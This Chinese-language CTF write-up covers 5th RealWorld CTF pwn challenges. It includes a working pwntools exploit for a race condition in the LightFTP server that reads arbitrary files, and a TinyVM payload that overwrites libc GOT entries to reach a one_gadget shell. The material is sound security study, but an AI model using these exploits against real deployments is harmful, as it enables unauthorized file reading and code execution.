5th RealWorld CTF 部分 Pwn 题 Writeup

Chat-In

1
2
3
4
5
(pts: 34, solved: 628)
check-in ,difficulty:Baby
ひとーつひいきは绝対せず! ふたーつ不正は见逃さず! みっつ见事にジャッジする! I'm <strong>not a Linux terminal</strong>. I'm the Chat-In robot for you!
nc 47.89.251.203 1337
nc 47.88.62.215 1337

NonHeavyFTP

1
2
3
4
5
6
7
8
(pts: 98, solved: 53)
Clone-and-Pwn, difficulty:Baby
A non-heavy FTP for you.
# primary
$ nc 47.89.253.219 2121
# backup
$ nc 47.89.253.219 2221
Note: bruteforce <strong>NOT</strong> required, please be gentle. Server will be restarted every 5 miniutes.

附件

题目程序是一个 FTP 服务器软件 LightFTP。从 fftp.conf 可知允许匿名登录,FTP 目录为 /server/data/

1
2
3
4
[anonymous]
pswd=*
accs=readonly
root=/server/data/

由 Dockerfile 可知 flag 位于根目录,且 flag 文件名为随机生成的。

1
RUN mv /flag /flag.`uuid` &&\

LIST RETR 命令存在竞争条件漏洞,可以列出任意路径目录或下载任意路径文件。

RETR 命令下载文件逻辑如下。首先调用 ftp_effective_path() 将用户传递的路径转换为绝对路径,将结果保存在 context->FileName 中,然后检查 context->FileName 指向的文件是否存在,若存在则创建新线程 retr_thread 将文件发送给用户。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void *retr_thread(PFTPCONTEXT context)
{
    [...]

    // https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L672
    // 打开并读取 context->FileName 指向的文件
    f = open(context->FileName, O_RDONLY);
    context->File = f;
    if (f == -1)
        break;

    [...]
}

// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L750
int ftpRETR(PFTPCONTEXT context, const char *params)
{
    [...]

    // 将用户指定的路径 params 转换为绝对路径,将结果放置在 context->FileName
    // 例如:`RETR hello.txt` -> context->FileName = "/server/data/hello.txt"
    ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

    while (stat(context->FileName, &filestats) == 0)
    {
        [...]
        
        // 创建新线程发送文件给用户
        context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);
        
        [...]
    }

    return sendstring(context, error550);
}

因为程序没有给 context->FileName 加锁,我们可以在 retr_thread 线程打开文件前,利用其他命令修改 context->FileName 为我们指定的路径,从而实现下载任意路径文件。

我们这里利用 USER 命令修改 context->FileName

1
2
3
4
5
6
7
8
9
// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L253
int ftpUSER(PFTPCONTEXT context, const char *params)
{
   [...]

    /* Save login name to FileName for the next PASS command */
    strcpy(context->FileName, params);
    return 1;
}

列出目录命令 LIST 存在与 RETR 类似的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *list_thread(PFTPCONTEXT context)
{

   [...]

   // https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L504
   pdir = opendir(context->FileName);
   if (pdir == NULL)
      break;
            
   [...]
}

// https://github.com/hfiref0x/LightFTP/blob/85c6a90fba274f40cd2435fb181c818c9396aaa6/Source/ftpserv.c#L541
int ftpLIST(PFTPCONTEXT context, const char *params)
{
   [...]
   
    ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

    while (stat(context->FileName, &filestats) == 0)
    {
        
        [...]

        context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);
        
        [...]
    }

    return sendstring(context, error550);
}

EXP 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")

def cmd(s):
    p.send(s+"\r\n")
    p.recvuntil("\r\n")

p = remote("47.89.253.219", 2121)
p.recvuntil("\r\n")

# 1. 登录 FTP 服务器
cmd("USER anonymous")
cmd("PASS anonymous")

# 2. 指定接收目录/文件数据的 IP 地址和端口
# 前 4 个是 IP 地址,后 2 个是端口 (这里是 42505 = 166 * 256 + 9) 
# 注意这个 IP 地址要求与连接 FTP 服务器的 IP 相同
cmd("PORT XXX,XXX,XXX,XXX,166,9")

# 3. 发送 RETR/LIST 指令后,马上发送 USER 指令修改 context->FileName
# ~ p.send("LIST /\r\n")
# ~ cmd("USER ../../../../../")
p.send("RETR hello.txt\r\n")
cmd("USER ../../../../../flag.deb10154-8cb2-11ed-be49-0242ac110002")

p.recvuntil("\r\n")

p.interactive()

登录 FTP 服务器、指定 VPS 的 IP 和端口号为接收数据地址;执行 LIST / 命令,然后马上发送 USER 命令进行竞争条件,将 context->FileName 修改为 ../../../../../;若竞争条件成功,VPS 可以接收到根目录下的文件信息,得到 flag 文件名 flag.deb10154-8cb2-11ed-be49-0242ac110002;最后再次竞争条件,利用 RETR 命令下载 flag 即可。

tinyvm

1
2
3
(pts: 188, solved: 22)
Clone-and-Pwn, difficulty:Baby
This is a CTF challenge called TinyVM. The author is very lazy, not wanting to write a description of the challenge, and the code is directly cloned from [https://github.com/jakogut/tinyvm](https://github.com/jakogut/tinyvm). So you can just nc 198.11.180.84 6666 and get flag.

TinyVM 实现了一个简单的 x86 虚拟机。经源码审计发现 poppush 指令没有检查边界。

1
2
3
4
5
6
7
8
9
10
11
12
// https://github.com/jakogut/tinyvm/blob/10c25d83e442caf0c1fc4b0ab29a91b3805d72ec/include/tvm/tvm_stack.h
static inline void tvm_stack_push(struct tvm_mem *mem, int *item)
{
        mem->registers[0x6].i32_ptr -= 1;
        *mem->registers[0x6].i32_ptr = *item;
}

static inline void tvm_stack_pop(struct tvm_mem *mem, int *dest)
{
        *dest = *mem->registers[0x6].i32_ptr;
        mem->registers[0x6].i32_ptr += 1;
}

虚拟机栈内存正好位于 libc.so 上方。因此通过修改 esp 寄存器和利用 pop/push 指令可以读写任意偏移 libc.so 内存。

远程环境 libc 版本是 2.35。这里使用的 getshell 方法是修改 libc.so GOT 表,触发 malloc_printerr()报错执行 one gadget

跟大部分 ELF 可执行程序一样,libc.so 内部也有 GOT 表。因为没有开启 FULL RELRO 保护机制,这张 GOT 表是可写的

在 IDA 中,这些 GOT 表函数的名称都是以 j_ 开头的,以区别同名的外部函数。libc.so GOT 表函数大部分跟内存和字符串操作有关,如 memcpy, strlen, memset 等。

libc.so 许多内部函数直接或间接调用 GOT 表函数,例如 malloc()/free() 检查到错误时调用的 malloc_printerr()malloc_printerr() 内部调用 __libc_message() 输出报错信息,这个函数间接调用j_strlen() 这个 GOT 表函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
  [...]
  while (*<strong>cp</strong> != '\0'){
  [...]
      /* Determine what to print.  */
      const char *str;
      size_t len;
      if (cp[0] == '%' && cp[1] == 's')
        {
          str = va_arg (ap, const char *);
          len = strlen (str);               <-------
          cp += 2;
        }
   [...]
  }
}

static void
malloc_printerr (const char *str)
{
#if IS_IN (libc)
  __libc_message (do_abort, "%s\n", str);   <-------
[...]
}

但是,不能直接将 strlen() GOT 表地址改为 one gadget 地址。因为此时的寄存器值满足不了 one gadget 约束条件。

受到这篇 writeup 启发,我们可以利用下面这个 gadget,先将寄存器置零然后调用 one gadget。

1
2
3
4
.text:0xEEC55 <glob64+1701>    mov     rsi, r12
.text:0xEEC58 <glob64+1704>    mov     rdi, r13
.text:0xEEC5B <glob64+1707>    mov     rdx, r14
.text:0xEEC5E <glob64+1710>    call    j_mempcpy

这个 gadget 将 rsi, rdx 设置为 r12, r14 的值,然后调用另一个 GOT 表函数 memcpy()

经调试可以发现,__libc_message() 调用 strlen() 时,r12 和 r14 的值恰好为零。

这是因为 __libc_message() 开头把 r12d 和 r14d 置零了。

这个特性若结合上面提到的 glob64 gadget,刚好满足下面这个 one gadget 的约束条件:

1
2
3
4
5
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

利用步骤如下:

  1. strlen() GOT 表地址改为 glob64 gadget,memcpy() GOT 表地址改为 one gadget 地址;
  2. 触发 malloc_printerr() 报错(可以将某个 chunk 的 size 改为非法值,然后 free 这个 chunk);
  3. __libc_message() 调用 j_strlen(),glob64 gadget 将 rsi, rdx 寄存器置零;
  4. glob64 gadget 调用 j_memcpy(),进入 one gagdet,由于已满足约束条件,成功弹 shell;

exp.vm 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Overwrite chunk size to an invaild value
mov eax, 2097156
sub esp, eax
mov eax, 0
push eax

# Overwrite strlen GOT entry to $libc+0xEEC55
#.text:00000000000EEC55                 mov     rsi, r12
#.text:00000000000EEC58                 mov     rdi, r13
#.text:00000000000EEC5B                 mov     rdx, r14
#.text:00000000000EEC5E                 call    j_mempcpy
mov eax, 69324792
add esp, eax
mov eax, 152
add esp, eax # esp = $libc+0x219098
mov eax, 800203
pop ebx
sub ebx, eax
push ebx

# Overwrite memcpy GOT entry to one gadget ($libc+0xebcf8)
#0xebcf8 execve("/bin/sh", rsi, rdx)
#constraints:
#  address rbp-0x78 is writable
#  [rsi] == NULL || rsi == NULL
#  [rdx] == NULL || rdx == NULL
mov eax, 88
sub esp, eax # esp = $libc+0x219040
mov eax, 799240
pop ebx
sub ebx, eax
push ebx

# Then, due to the invaild chunk size, free() will call malloc_printerr(),
#  which will later call j_strlen() to set rsi, rdx as zero and trigger the one gadget

Categories:

Updated: